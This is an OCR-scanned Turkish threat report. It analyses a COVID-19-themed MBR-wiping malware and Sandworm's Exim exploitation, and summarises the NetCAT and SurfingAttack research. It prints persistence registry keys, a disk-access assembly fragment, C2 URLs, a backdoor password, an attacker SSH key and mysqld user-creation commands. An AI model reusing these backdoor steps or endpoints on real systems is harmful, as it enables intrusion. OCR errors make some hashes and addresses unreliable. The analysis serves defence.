maktadir. Atak vektérinde yapilan faaliyetler bircok
farkli dosyaya parcalanmistir. Baslangigta yer alan yiri-
tllebilir formath dosya, gerekli diger dosyalari ¢cikartmak
ve tetiklemekten sorumludur. Ardindan gelen dosyalar
ise nihai olarak calismakta olan sistemin MBR kaydini
glincellemekte ve ilgili sistemi ¢alisamaz hale getirmek-
tedir. Analizin devaminda, MBR icinde bulunan makine
kodunda, “Kill Switch” benzeri bir mekanizma tespit
edilmigtir. Belirli bir tus kombinasyonuna basilmasi du-
rumunda ilgili sistemin orijinal MBR kaydi tekrar yerine
getiriimektedir.

Sekil 36: Zararlinin olusturdugu pencere.

COVID-19.exe

ilgili dosya UPX ile paketlenmistir. Tetiklenmesinin ardin-
dan %tmp% dizininde gegici bir klasér olusturmakta-
dir. Ardindan kaynak bdliminde muhafaza ettigi Batch
formatindaki betigi ilgili klasére “coronavirus.bat” adiy-
la kaydetmektedir. Bu islemler sonrasi aktif kullanicinin
Masausti dizinine 6 adet dosya cikartmaktadir. Bunlar:

Update.vbs
wallpaper.jpg
cursor.cur
end.exe
mainWindow.exe
run.exe

Ardindan %tmp% dizininde bir klasérde olan “corona-
virus.bat” dosyasini tetiklemekte ve calismasina son
vermektedir.
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Sekil 37: coronavirus.bat dosyasinin icerigi.

S8z konusu “coronavirus.bat” dosyasi calismaya basla-
diktan sonra sirece ait pencerenin basligini “coronavirus
Installer” olarak gulincellemektedir. Ardindan %homedri-
ve% dizini altinda “COVID-19” adi altinda bir klasér olus-
turmakta ve atak vektdrinln bir énceki adiminda Masaustu
klasériine cikarilan 6 dosyay! yeni olusturdugu klasére ta-
simaktadir. Bir sonraki adim olarak ilgili klasért “Hidden”
olarak guncellemektedir. Ardindan kayit defteri aksiyon-
lan almaya baglamaktadir. Oncelikle “Task Manager” ve
“Windows User Access Control”li devre digi birakmakta-
dir ve ilgili sistemin duvar k&gidini, beraberinde getirdigi
wallpaper.jpg dosyasiyla degistirmektedir. Yine sistemin
imlecini de, beraberinde getirdigi cursor.cur dosyasiyla de-
gistirmektedir. Kayit defterinde son olarak da “RunKeys”
altinda asa@idaki sekilde girdiler olusturmaktadir:

CheckForUpdates -  %homedrive%\COVID-19\

Update.vbs
explorer.exe - %ohomedrive%\COVID-19\run.exe
GoodbyePC! - %homedrive%\COVID-19\end.exe

Son olarak ekrana, yiklemenin basariyla tamamlandigini
yazdirmakta ve ilgili sistemi yeniden baglatmaktadir.

Update.vbs

“Update.vbs” betigi 2 satirdan olusmaktadir. Oncelikle
120 saniye uyumakta, ardindan da ekrana gincelleme
sunucusunun bulunamadigiyla alakali bir hata mesaji
cikartmaktadir.

Sekil 38: Update.vbs dosyasinin icerigi.

run.exe

ilgili  sistemin  yeniden baslatimasinin  ardindan
“RunKeys” girdisi dolayisiyla tetiklenmektedir. UPX ile
paketlenmistir ve atak vektdrinin baslangic dosyasiy-
la son derece benzerdir. Calismasinin ardindan %tmp%
dizininde gecici bir klasér olusturmaktadir ve kaynak
bélimindeki Batch formatindaki betigi bu klasére
“run.bat” adiyla kaydetmektedir. Ardindan ilgili betigi
tetiklemektedir.
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Sekil 39: run.bat dosyasinin icerigi.

“run.bat”, “coronavirus.bat” betiginin kayit defterinde
yaptigi degisiklikleri tekrarlamaktadir. Ardindan “%ho-
medrive%\COVID-19\mainWindow.exe” dosyasini son-
suz bir dongu icerisinde tetiklemektedir. Bdylece ilgili
uygulama kapatilsa dahi tekrar tetiklenmektedir.

mainWindow.exe

iigili dosya bir Visual Basic yiritilebilir dosyasidrr.
Tetiklenmesi ardindan bir pencere olusturmaktadir. ilgili
pencerede “Help” ve “Remove virus” olmak Uzere iki
tane buton vardir. “Remove virus” butonu devre digi ola-
cak sekilde konfiglre edilmistir. “Help” butonuna tiklan-
diginda da ekrana bilgisayara korona virlisi bulastigiyla
alakall bilgi gikmaktadir.

Hellol Hf you see ecaus E
infected by coron ! Please dor't wast your lime, Task

- Manager are disabled and you can't terminate this process! If
you e s window, it will appear againl so, one more

time, DON'T WAST YOUR TIME!

Sekil 40: ilgili pencerede “Help” butonuna tiklanmasi sonucu ek-
rana ¢ikan mesaj.

end.exe

iigili dosya Delphi ile gelistirilmis yirtilebilir formath
bir dosyadir. Calistigi sistemlerin Master Boot Record
(MBR)’ini giincellemektedir. MBR kaydi bélinmus disk-
lerin en basinda yer almaktadir ve mantiksal bélimle-
rin nasil organize olduguyla alakal bilgileri tutmaktadir.
Ayrica MBR, kurulu isletim sistemini yiklemekten sorum-
lu kod bloguna da ev sahipligi yapmaktadir. islemci MBR
kaydinda tutulan makine kodunu calistirdiginda “Read
Mode”da oldudu icin ilgili kodun da “Real Mode” makine
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kodu olmasi gerekmektedir. “Real Mode” x86 mimarisi-
ne uygun bUtln islemciler icin bir islem modudur. “Real
Mode”da adresler her zaman bellekteki gercek adreslere
tekabul etmektedir. Bu mod bellek korumasi, paralel yu-
ritme, kod yetki seviyeleri saglamamaktir?2: 231,

Calismaya baglamasinin ardindan &éncelikle acik bitiin
ekranlari simge durumuna kicultmektedir. Ardindan

sistemde MBR kaydinin tutuldugu fiziksel diske,
\\\.\\PhysicalDrive0, erismektedir.

push 0

push 0

push =

push o

push =

push 10000000

push end.408C24 408C24: "\ W\ Physicalbriveo”

call <IMP.&CreatefFileAx

Sekil 41: Fiziksel diske erisim i¢in yapilan API ¢cagrisi.

ilgili diskin ilk sektériini okumakta ve MBR kaydinin hali-
hazirda glncellenip giincellenmedigini kontrol etmekte-
dir. Farkli olmasi durumunda, sistemin orijinal MBR kay-
dini 2. sektére yazmaktadir. Ardindan MBR kaydini ice-
risinde gelen kayitla glincellemektedir. Son olarak ilgili
diskin 3. sektdrlne bir karakter dizisi yazmaktadir.

“end.exe” tarafindan yazilan MBR kaydindaki makine
kodu, bilgisayarin yeniden baglatiimasi sirasinda BIOS ta-
rafindan tetiklenmektedir. “Stack”i ayarlamasinin ardindan
diskin ilk 6 sektoérini bellege tagsimakta ve (tasinan adres
+ 0x36) adresinden galismaya devam etmektedir. Bu as-
linda bir sonraki komuta tekabul etmektedir. Yani akista
bir degisiklik olmamistir. Fakat bu sayede “end.exe”nin
3. sektore kaydettigi karakter dizisine erisebilmektedir.
Ekrani temizlemesinin sonrasinda ilgili karakter dizisini tek
tek okumakta ve sirasiyla ekrana yazdirmaktadir.

Created By Angel Castillo. Your Computer Has Been Trashed.

Nisrard: Windnus Uista#3?94

Sekil 42: MBR icindeki makine kodunun bilgisayar baslangicinda
ekrana yazdirdig karakter dizisi.

Bu asamanin devami sonsuz bir déngu igerisinde de-
vam etmektedir. Oncelikle belirli bir siire uyumaktadrr.
Ardindan bir tusa basilmasini beklemektedir. Basilan
tusun ESC olmasi durumunda CTRL ve ALT tusla-
rinin  durumunu kontrol etmektedir. Basili durumda
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olmalar sonucunda ise 2. Sektdre yedeklenen orijinal
MBR kaydini 1. Sektére geri tasimakta ve sistemi yeni-
den baslatmaktadir.

Sekil 43: MBR kaydinda bulunan makine kodundaki Kill Switch.

10C’ler

f632b6e822d69fb54b41f83a357ff65d8bfc67bc3e304e-
88bf4d9f0c4aedc224

a1a8d79508173cf16353e31a236d4a211bdcedef53791ac-
ce3cfbab00b51aaec

c46c3d2beale42b628d6988063d247918f3f8b69b5a-
1¢376028a2a0cadd53986

b780e24e14885c6ab836aae84747aa0d975017f5fc5b71-
031d51¢c7469793eabe

c3f11936fe43d62982160a876cc000f906cb34bb589f4e-
76e54d0a5589b2fdb9

4a17f58a8bf2b26ece23b4d553d46b72e0cdabe-
8668458a80ce8fe4e6d90c42d

13c4423ed872e71990e703a21174847ab58dec-
49501b186709b77b772ceeab52

7ae5e2be872510a0e2c01bcf61c2e2fb1e680cd9e54891d-
3751d41f53ac24f84 (Zararl MBR Kaydi)

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
CheckForUpdate

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
explorer.exe

HKLM\software\Microsoft\Windows\CurrentVersion\Run\
GoodbyePC!

11. Sandworm APT Grubu Exim Zafiyetini
istismar Ediyor

28 Mayis 2020 tarihinde NSA, Sandworm APT grubunun
Exim Posta Transfer Ajan uygulamasindaki bir zafiyeti is-
tismar ettigini bildiren bir rapor yayinladi®4.

Exim, Unix tabanl igletim sistemlerinde posta trans-
fer ajani olarak siklikla tercih edilmekte ve bir¢ok Linux
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dagitiminda yUklu olarak gelmektedir. 5 Haziran 2019
tarininde Exim uygulamasindaki kritik seviyedeki bir
zafiyet icin bir glincelleme yayinland.. ilgili zafiyet CVE-
2019-10149 ile takip edilmektedir. Exim 4.87 ve 4.91
versiyonlari arasi zafiyetli olmakla birlikte 4.92 zafiyetin
giderildigi versiyondur. Ozel olarak hazirlanmig SMTP
Header’| vasitasiyla bu zafiyet istismar edilebilmektedir.
Ayrica bazi konfiglrasyon durumlarinda uzaktan da is-
tismar edilebilmektedir?®! 281,

Sekil 44: ilgili raporda gegen 6rnek istismar komutu.

Sandworm APT grubu, BlackEnergy olarak da anilmak-
tadir; 2009 yilindan beri aktif olan grubun Rusya kaynakli
oldugu disitnilmektedir. Bu zamana kadar bircok saldi-
rinin ilgili grup tarafindan gerceklestirildigi distintlmek-
tedir. 2015 ve 2016 yillarinda Ukrayna’da yasanan siber
saldin kaynakli elektrik kesintileri ile NotPetya saldirisi
bunlardan bazilaridir.

Bahsi gegen zafiyetin Sandworm grubu tarafindan istis-
mar edilmesinde ilgili sisteme bu grup tarafindan kontrol
edilen bir sunucudan ilave kabuk betigi indiriimekte ve
tetiklenmektedir. Analizi gerceklestirilen betikler sistem-
de kullanici olusturmakta, givenlik ¢ézimlerini devre
disi birakmakta, SSH konfiglirasyonunu giincellemekte
ve ekstra betikler indirip kaliciligi saglamaktadir. ilgili sal-
dintyla anilan 2 betik gézlemlenmistir. Bu betikler birbir-
lerine oldukca benzemektedir.

dc074464e50502459038ac127b50b8c68ed52817a-
61c2f97f0add33447c8f730.sh

Oncelikle root kullanicisinin SSH “authorized_keys”ine
yeni bir anahtar eklemektedir. Ardindan ilgili sistemde
“mysqgl_db” adi altinda yetkili kullanici olugsturmakta-
dir. Bu kullanicinin parolasini ikJU,m87 olarak gtincel-
lemektedir. Sonrasinda ilgili sistemde gilvenlik duva-
rini devre disi birakmaktadir. SSH konfiglirasyonunu
ayarlamakta ve yeni olusturdugu kullanici igin SSH’a
izin vermektedir. SSH servisinin kullandigi port bilgisini
205.204.55.196 adresine /ip.php?port=${PORT} seklin-
de géndermektedir’?8l,

Sekil 45: SSH konfigirasyonu, kullanici ekleme ve port bildirimi.
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PHP dilinde gelistiriimis bir webshell’i “keramika-mene-
gis.gr” adl bir dizinin altinda bulunan “private_html” kla-
sOriine sshkey.php olarak kaydetmektedir. Bahsi gecen
site Yunanistan kaynakli bir seramik sitesidir. Elde olan
veriler 1s1ginda, bir bagka saldiri i¢in kullaniimasi ihtima-
li Gzerinde durulmaktadir. PHP kodu parcalara ayriimis
karakter dizilerini, aralara eklenmis gereksiz karakterle-
ri temizledikten sonra birlestirmektedir. Sonucta olusan
karakter dizisiyle, Base64 ¢cdézimlemesi ardindan, dina-
mik olarak fonksiyon olusturulmakta ve ilgili fonksiyon
tetiklenmektedir. Sonucunda olusan kod, COOKIE de-
gerini kullanarak aksiyon almaktadir. Ekrana ise sonucu-
nu <dfastfood> ile </dfastfood> karakter dizileri arasin-
da ¢ikartmaktadir.

Sekil 46: PHP Webshell kodu ve ¢ézimlenmis hali.

Devaminda iki adet Python betigi calistirmakta ve ayrica
her iki betigi de haftalik olarak ¢alisacak sekilde zaman-
lanmis gorev olarak kaydetmektedir. ilk betik 6ncelikle
calismakta oldugu sistemdeki slrecleri kontrol etmekte
ve “Little Snitch” adl bir stire¢ olmasi durumunda ca-
ismayi sonlandirmaktadir. Olmamasi durumunda ise,
95.216.13.196 adresi 8080 portuna bir HTTP istegi yap-
makta ve gelen cevabi belirli bir algoritmaya goére ¢6-
zUmleyip calistirmaktadir. Diger betik ise; 95.216.13.196
adresinin 53 portundan hizmet veren sunucunun olduk-
¢a uzun ve karmasik olarak isimlendirilmis sayfasina is-
tek yapmakta ve gelen cevabi direkt olarak calistirmak-
tadir. Her iki betigin de Empire Framework’( tarafindan
olusturuldugu disinilmektedir.

Sekil 47: Empire Framework Python Launcher.

Python betik sekansi sonrasi calisma dizinini /etc/opt
olarak guincellemekte ve ilgili dizine init-file.txt adiyla bir
dosya olusturmaktadrr. ilgili dosyaya biitiin yetkilere sa-
hip bir Mysql database kullanicisi olusturma komutlarini
kaydetmekte ve “mysqld” uygulamasi vasitasiyla ilgili
komutlan tetiklemektedir. Olusturulan kullanicinin adi
mysqldb parolasi olusturulan sistem kullanicisi ile ayni-
dir, ikdU,m87. Son olarak ise Mysql ve SSH servislerini
yeniden baglatmakta ve gikmaktadir.
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" »» init-file.txt
> init-file.txt

systemctl stop m

fetc/init.d/mysqld stop

mysqld --user=my: --init-file=/etc/opt/init-file.txt
systemctl restart mysqld.service

fetc/init.d/mysqld restart

--console

service sshd restart
service ssh restart
systemctl sshd restart

exit @

Sekil 48: Mysql kullanici ekleme.
script.sh

Buyilk oranda ayni olsalar bile, bir dnceki betigin aksine,
bu betik PHP ve Python bdlimlerinden yoksundur ve
Mysql kullanicisini da eklememektedir.

Ayni anahtari root kullanicisinin SSH “authorized_keys”i-
ne eklemektedir. Ayni ismi ve parolayi kullanarak ylksek
yetkili kullanici olusturmaktadir. Calismakta oldugu sis-
temde glvenlik duvarini devre disi birakmaktadir. SSH
konfiglirasyonu yapmakta ve SSH servisinin kullandi-
g port bilgisini uzak sunucuya yollamaktadir. Fakat bir
onceki betigin tercih ettigi “ip.php” sayfasi yerine “stat.
php” sayfasini tercih etmektedir. Ve son olarak da SSH
servisini yeniden baslatmakta ve ¢ikmaktadir.

Sekil 49: ilgili betik (bir kismi).

10C’ler

dc074464e50502459038ac127b50b8c68ed52817a61c2f-
97f0add33447c8f730

538d713cb47a6b5ec6a3416404e0fclebcb-
€219a127315529f519f936420c80e

c025008463fdbf44b2f845f2d82702805d931771aeadb-
506573b83c8f58bccca

abfa83cf54db8fa548942acd845b4f34acc94c46d4elfb-
5ce7e97cc0c6596676

205.204.66[.]196/ip[.Johp?port=${PORT}
205.204.66[.]196/stat[.Johp?port=${PORT}
95.216.13[.]196:8080/admin/get[.Johp

95.216.13[.]196:53/cqkepWIC5j-ejluYwx1nwwWCx  KD-
C20C-Hnrn-G5nHHjiewxOTaUlw4vO8J4gAYwYuul66u-
Yes_TKN5FT93KkwSOMNi5PW003q9dmqghfE77PfZ-
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R8p-If6jRQrndwObPjaP0_N4185I3rkN29Tg_OjRvRCEz-
SepTI15JZJgQuiO_OBQDYY-vFjZb5r00OkxAuo_JlygcXW-
PE5zVGjkA_ngDT5vJwIHEAWODWKYNr47D

hostappl.]be
103.94.157[.]5
mysql_db:ikdU,m87
/etc/opt/init-file.txt

ssh-rsa  AAAAB3NzaC1yc2EAAAADAQABAAABAQC2g/
NGN/brzNfJilp2zswtL33tr74plAjMeWtXN1p5Hqp5fT-
p058U1EN4NmMgmjX0KzNjjV+ZTCUxJSCa26E7wrl-
99Dcd3fjbPcSL+nWPv4ysYSWIur9VO0j1AlleeTVH2jJ-
PAUaRxY0ZKcChsgOMMmMLStRgA8oafWEvYzBkrl/
K9tR3mb7ranu6Nsh1cBQ127sykePMQrZeOU0ZhqdOK-
ruyt9vjVD6DeehZpZLS7P3QzdWNJ9cm4TYKT2eyj6T-
ZoFhQjaqLjOsjlbrOKmI9+SyDRjCqpjCSVCM9cvSLs-
Nui+58Bcsus46pffDskhY7SI/ctwBK4bDkkUy4P2AmEfIUz
user@ubuntu

12. NetCAT: Uzaktan Onbellek Saldirilari ile
Bilgi Sizintisi Mimkiin mi?

islemci mimarileri genelde ana bellege erisimi hizlandir-
mak icin 8n bellek (cache) kullanir. On bellekler islemci-
ye yaklastikga boyut olarak kigulir ancak hizlan artar.
GunUmuz islemci mimarisinde yaygin olarak 3 seviye 6n
bellek kullanimindan bahsedebilir. Cekirdeklere en yakin
durumda L1 énbellek ve onlardan biraz daha blyUtk L2
onbellek cekirdegin disinda bulunur. Tim cekirdeklerin
ortak kullanabilecegi son seviye onbellek (LLC - Last
Level Cache) ise adi lizerinde son noktada yer alan daha
buyUk bir dnbellektir.

Ozellikle sunucu tarafindaki uygulamalarin getirdigi hiz
gereksinimleri Ureticileri 6n bellek mimarisi Gzerinde bazi
degisiklikler yapmaya zorlamaktadir. Ornegin Intel, Xeon
E5 sunucu islemcilerinden baglayarak DDIO (Data-Direct
I/0) mimarisi ile bazi bilgisayar bilesenlerinin dogrudan
son seviye 6n bellege (LLC) erismesini sagladi (Sekil 52).
Ornegin ag kartlar, GPU’lar gibi bazi PCle kartlar dogru-
dan bu alanlara yazip okuyabiliyor ve ylksek hiz gerekti-
ren uygulamalarda performans artigi sagliyor.

Ancak PCle Uzerinden ag kartlarinin da ulasabilecegi
bu tir ortak dénbellekler, bazi glivenlik problemlerini de
beraberinde getirmektedir. On bellek saldirilarinin genel
mantigi ortak kullanilan bu alanlardan bilgi sizintisi elde
etmek Uzerine kuruludur. Yan kanal analizlerini kullanan
bu tir saldinlar genelde saldirganin bellegi 6zel yéntem-
lerle sorgulayarak verinin kendisine ulasma zamanini
gbzlemlemesine dayanmaktadir. Veri 6n bellekte ise cok
daha hizli, 6n bellekte yer almiyorsa gérece daha yavas
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Sekil 50: Intel DDIO Mimarisi ve LLC Onbellege Erisim.

iletilmektedir. Ozellikle kriptografik islemlerde énbellek-
teki veri gizli anahtara oldukg¢a bagimli oldugundan bu
tlr saldirilar oldukga etkili olabilmektedir.

2005 yilinda Osvik, Shamir ve Tromer tarafindan gelis-
tirilen Prime + Probe teknigi pratik olarak kriptografik
anahtarlarin dnbellek Uzerinden ele geciriimesine izin
veriyor?®, Buradaki teknik saldirganin kontroliinde bir
uygulamanin ortak 6n bellege bir ajan uygulama va-
sitasiyla veri ya da komut setleri yazmasiyla bagliyor.
Aslinda yazilan verinin ¢ok bir &nemi yok, burada énemli
olan saldirganin yazdidi veriye surekli erismeye calisarak
erisim sirasinda meydana gelen gecikmeyi dlgcebilmesi.
Eger sirede bir degisim yoksa veri halen 6nbellektedir,
ancak ayni anda baska bir uygulamanin yaptigi kriptog-
rafik islem saldirganin élguim yaptidi 6n bellek bloklarini
kullanirsa saldirgan kendi verisine erigirken bazi bloklar
icin bir gecikme yasayacaktir. Bu ise o adresteki verinin
degistigini gosterir. Bu tarz islemlerde bellek adresi krip-
tografik anahtara bagimh oldugundan saldirgana anah-
tar hakkinda ipucu vermis oluyor.

2005 yilindaki bu gelismeden sonra 6n bellek saldirilari
farkl uygulama ve mimariler icin de hizlh bir sekilde gelis-
meye ve tehlikeli olmaya bagsladi. Konu hakkinda birgok
akademik yayin yapildi. Ozellikle saldirilarin pratik olabil-
mesi bu alanda calisan akademisyenlerin ve tabii saldir-
ganlarin da dikkatini ¢cekti. Ancak 6n bellek saldirilari her
ne kadar pratik gézikse de saldirganin gerekli yan kanal
istatistiklerini elde etmek icin cogu zaman kurbanin islem
yaptidi bilgisayara fiziksel erisimi olmasi gerekiyordu.

Vrije (Amsterdam) ve ETH (Zirih) Universitelerinden
arastirmacilar “NetCAT: Practical Cache Attacks from
the Network” adli calismalarinda yukaridaki senaryonun
uzaktan da pratik bir sekilde yapilabildigini gosterdiler.
Saldinnin ilk detaylar gegtigimiz aylarda agiklanmisti,
Mayis ayindaki IEEE S&P 2020 konferansinda da teknik
detaylari yayinlandi,
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Saldirn DDIO 6zelliginin aktif oldugu bir Intel sunucuda
gerceklestirilebiliyor. Saldirgan uzaktan dogrudan bellek
erisiminin (RDMA - Remote Direct Memory Access) agik
oldugu sunucularda, bu 6zelligi barindiran ag kartlarin-
dan sunucudaki ag kartini kullanarak bellege veri yazip
okumayi sagliyor. Burada 6énemli olan nokta igletim sis-
teminin bu esnada bypass edilmesi. Tabii, isletim sistemi
aradan cikarildigindan bellek erisimleri denetimsiz kali-
yor. Arastirmacilar kendi kontrollerindeki bir sunucudan
RDMA acik olan bir sunucu 6n bellegine Prime + Probe
saldinsi yapilabildigini, uygulama olarak da kurbanin
SSH verisinin calinabildigini gdsterdiler.

Sekil 51°de detaylan verilen saldin senaryosunda, sal-
dirgan Uzerinde SSH servisi barindiran RDMA sunucusu
ile ag araylzinden baglantiya geciyor. Ag araytzlyle
sunucu RAM’i Uzerindeki bir alana veri yazarak kont-
rolini saglyor ve yazdigi alana sUrekli erisim yaparak
gecikmeyi 6l¢lyor. Bu esnada ayni sunucuya SSH bag-
lanti yapan kurbanin paketleri de 6n bellege yazilmaya
basliyor. On bellekteki bu degisim saldirgan tarafindan
gorulayor.

RDMA Sunucusu
— |CPU
E‘ Core 1|Core 2 Core N
£
(7]
=
5| romaa LLC
= —
DDIO Balgesi
S ——
IB
NIC NIC

SSH Paketleri

L

NIC

Prime + Probe
Sorgu Paketleri

Sekil 51: Saldin senaryosu: RDMA ve DDIO aktif olmali.

Bildigimiz gibi SSH sifreli bir protokol ve dogru bir kon-
figlrasyonda iki sunucu arasindaki verinin okunmasi
mUmkin degildir. SSH baglantisi sirasinda, drnegin ter-
minale yazilan her bir karakter icin sunucuya ayri bir pa-
ket gitmektedir. Yine klavyedeki harflerin yazilis hizi da
belli bir 8riintliyt izliyor. Ornegin Q klavyede E’den sonra
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R harfinin yazim stlresi, daha uzakta kalan B harfinin ya-
zim slresinden ¢ok daha az. Arastirmacilar makine 63-
renme teknikleriyle gelen paketlerdeki sure farklarindan
kurban tarafindan klavyede o anda yazilan karakterleri
¢ikartmayi basarabilmigler (Sekil 52).

e o
®m
A
®of
e C
®u
*m

Klavye

Veri tepdump

DpDIo
0.0 0.2 0.4 0.6 0.8 1.0

Saniye (t)

Sekil 52: SSH baglantisinda klavyede basilan harflerin gikariimasi.

Simdilik saldinnin basarim hizi (SSH baglantisindaki klavye
hareketlerini ortaya ¢ikarma orani) yizde 11’lerde olsa da
arastirmada kullanilan teknikler bircok baska saldirn yén-
temine dnayak olacaktir. Intel arastirmacilan édullendirmis
ancak herhangi bir yama cikartmayacagini agiklamistir.
Intel, DDIO ve RDMA 6zelligi acik olan sunuculara glvenil-
meyen aglardan erisim verilmemesi gibi birtakim énlemler
de 6nermistir. Su an saldirty1 dnlemenin kesin olan tek yolu
DDIO &zelligini kapatmak gibi gézikmektedir.

13. SurfingAttack: Ultrasonik Sinyallerle Sesli
Asistanlara Yapilan interaktif Saldiri

GUnUmuzde yapay zeka ve dogal dil islemede saglanan
ilerlemeler sayesinde, insan makine etkilesiminde ses
ilk ve baskin segenek olarak kullaniimaktadir. Apple’in
Siri’si, Google’in Google Asistani, Amazon’un Alexa’s
ve bunlarin fonksiyonel olarak benzeri olan askeri plat-
formlar oldukga ileri teknolojili Grtinlerdir. Bu platformlar
insanlarla ses araciligiyla etkilesim kurmaktadir. Yapilan
bazi gcalismalarda (DolphinAttack) sesli asistanlarn uzak
mesafelerden gonderilen seslerle kontrol edilebildigi
gosterilmistir. Bu saldin seklini bir adim daha ileriye ta-
simak isteyen arastirmacilar, kurbanin farkina varmadan
telefonunun sesli asistanini SMS’leri okumak ve hatta
onun adina sahte aramalar yapmak i¢in kullanmaya ca-
stilar. GUnumiizde bankalar, sosyal medya platformlari
vb. yerlerde yaygin olarak kullanilan iki agsamali kimlik
dogrulama yonteminin en 6nemli adimlarinin gogunlukla
SMS (zerinden yapildigi géz 6nline alindiginda bu tir bir
saldirinin ciddiyeti oldukca aciktir®",

Yapilan ¢alismalarda masa vb. kati cisimlerin Uzerine
birakilan telefonlarin sesli asistanlarinin kullanicisinin
haberi olmadan aktive edilebildigi ve SMS okuma veya
yazmada, hatta baskalarini arayarak onlarla interaktif
olarak iletisim kurmada kullanilabildigi g&sterilmistir.

Boyle bir saldiri igin altyapisal bazi gereklilikler s6z
konusudur. Ornegin sesli asistanlar kullanicilarin ses
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karakterlerine duyarlidir (OK Google, Hey Siri vb.). Saldiri
duzenlenecek telefon gerekli sinyalleri tagsiyacak bir kat
malzeme Uzerinde bulunmalidir. Ayrica saldirgan sesli
komutlar fark edilmemeleri icin insanlarin duyma arali-
ginda olmayan bir frekansta géndermelidir. Mobil cihazin
sesi de sesli asistan tarafindan dénen cevaplarin kur-
banin dikkatini cekmeyecegi ama mobil cihazin yakinina
gizlenen bir kayit cihazinin kaydedebilecegi bir seviyede
olmalidir®,

Yukarida sayilan (¢ sarttan birincisine biraz daha derin-
lemesine bakmak gerekirse, havada yayilan ses dalgala-
rinin aksine, kati cisimler tzerinde yayilan ultrasonik dal-
galar daha farkli bir dagihm gosterir ve bilesenlerine ayri-
Iir, bu yiizden saldir igin segilecek ortamin dagilim degeri
mUmkin oldugunca dusuk olmalidir. Disuk dagilim de-
deri demek daha yogun akustik enerji transferi demektir.
Yapilan testler sirasinda kisa bant ve 20-40 kHz araligin-
da sinyaller kullanildiginda optimum performans alindigi
g6zlenmigtir. Saldirinin yapildigi ortama (6rnedin masa,
cam ylzey vb.) ultrasonik sinyalleri aktarmak icin piezo-
elektrik diskleri kullaniimigtir. Diger belirlenmesi gereken
bir saldin parametresi de telefonun saldir baslangicin-
da ayarlanacagi ses seviyesidir. GUrultl degeri degisen
farkli ortamlarda yapilan incelemeler sonucunda belirli
ses seviyelerinin kurban tarafindan ortamdaki seslerden
ayirt edilmesinin oldukga glic oldugu gézlenmistir®",

MEMS microphone Smartphone

|
. Table
PZT transducer

Semantik diyagram

Deney ortam

Sekil 53: Deney ortami.

Basaril bir saldirnin gercgeklestirilebilmesi icin ilk ya-
pllmasi gereken telefonun konulacagi ylzeyin malze-
me &zelliklerinin tanimlanmasi ve bu ylzeyde en etkin
bicimde ilerlemeye imkan saglayacak baseband ve
frekans degerlerinin tespit edilmesidir. Daha sonra he-
def sesli asistanla etkilesime gecmeyi saglayacak olan
komutlar hazirlanmali ve bunlar ultrasonik dalgalara
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doénustirilmelidir. Sesli asistanin verecegdi cevaplari kay-
detmek icin kurbaninin géremeyecegi fakat telefondan
¢ikan sesi alabilecek uygun bir yere gerekli kayit cihazi
(siradan bir mikrofon olabilir) yerlestirilmelidir.

Controller

Attack Device Package

1
1 I
1 Voice Signals 1
& Control 1 Tapping Device |
Signal

1 Processor (('))

I

1

Voice TT8 Speech
Cnmmand:H Module H Synthesis ||

Ultrasonic |
Signal Modulation Transducer |
]

& Voice Recording

Interactive Voice Commands
& Dialogue Generation

Sekil 54: SurfingAttack Sistem Yapi.

Sekil 56’da SurfingAttack saldirisinin sistemsel yapi-
si gorilmektedir. Kontrolér olarak adlandirilan bélim
saldin éncesi hazirlanan sesli komutlar, text-to-spe-
ech (yazidan konusmaya ceviren modil) ve ses sen-
tezi yapan kisimdan olugsmaktadir. Saldir cihazi kismi
da kurbandan alinan ses ciktilarini toplamak ve kur-
banin duyamayacagi sesli komutlar ultrasonik sin-
yallere cevirerek mobil cihaza gbnderme adimlarini
gerceklestirmektedir.

Yazidan sese ddnigstirme ve ses sentezi moddlleriyle
hazirlanan sesli komutlar igin kontrolér gerekli baseband
sinyallerini Uretir. Daha sonra bunlari tercihen Wi-Fi bag-
lantisi Gzerinden saldir cihazina génderir. Masanin altina
gizlenmis olan saldiri cihazi da sahip oldugu sinyal isle-
me modull ve ultrasonik doéndstirtclyle sesli komut-
lan kati ylUzey Uzerinde yayilabilen ultrasonik sinyallere
doénustirdr. Es zamanh olarak kayit cihazi da kurbandan
aldigi cevaplari kontrolére ayni baglanti Gzerinden geri
gonderir. Eger saldiri, 6rnegin telefon dolandiriciligi gibi
interaktif bir siire¢ gerektiriyorsa, bu adimlar sirali olarak
tekrarlanir.

Sesli arama ve SMS fonksiyonlarl bitin telefon mo-
dellerinde mevcuttur. Ayrica SMS servisini kullanan iki
faktorll kimlik dogrulama bankalar, sosyal medya plat-
formlari ve e-posta servisleri olmak Uzere yaygin ola-
rak kullanilmaktadir. Eger saldirgan bir sekilde SMS’leri
veya aramalari kontrol edebilirse bu oldukga tehlikeli
sonuglara yol agacaktir. Sekil 55'te SMS olarak gelen
bir dogrulama kodunun nasil elde edilecegi adim adim
gosterilmigtir.

ilk adim olarak sesli asistani uyandirmak ve telefonun
ses seviyesini normal bir ofis ortaminda insan kulaginin
ayirt edemeyecegi bir seviyeye indirmek igin gerekli sesli
komut ultrasonik dalga olarak masa lzerinden génderi-
lir: “OK Google, Turn the volume to three”. Mobil ciha-
za dogrulama kodu geldigi zaman saldirgan “read my
messages” sesli komutunu génderir. Mesajlari okuma
komutunu alan Google Asistan, en son mesajin baslk
bilgilerini okur ve mesajin tamamini duymak isteyip iste-
medigini sorar. Kayit cihazi bu ¢iktilar alarak saldirgana
gonderir. Kayit cihazi olarak siradan bir mikrofon kulla-
nilabilir. Cevap olarak “hear it” ayni ydntemlerle telefona
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Discover Card: Please enter 141886 L) OK, calling Sam with speakerphone
as the temporary identification \

code when prompted. If you did not
request this code, please call us at

1°688-251-8003. Fraud call using synthetic voice of Alice
216 PM r ‘

i) You have one text message. It's Hi, Sam, | forgot the new access )
from 347268, do you want to hear it? code of the lab, can you tell me?

@ sma
a» It says ..., do you want to reply, m [
S r wecome. )

repeat it and just that for now?

= i

Sekil 55: SMS Dogrulama Kodu Elde Etme. Sekil 56: Sahtecilik Aramasi.

Google Pixel Android 10 Google v v v 28.2 m > 0.8, r=0.2~0.5 -35.6
Google Pixel 2 Android 10 Google v v v 27.0 m > 0.8, r=0.2~0.5 -35.0
Google Pixel 3 Android 10 Google v v v 27.0 m > 0.8, r=0.2~0.5 -35.2
Moto G5 Android 7.0 Google v v v 27.0 m =1, r=0.3~0.5 -35.2
Moto Z4 Android 9.0 Google v v v 28.2 m > 0.8, r=0.2~0.5 -35.0
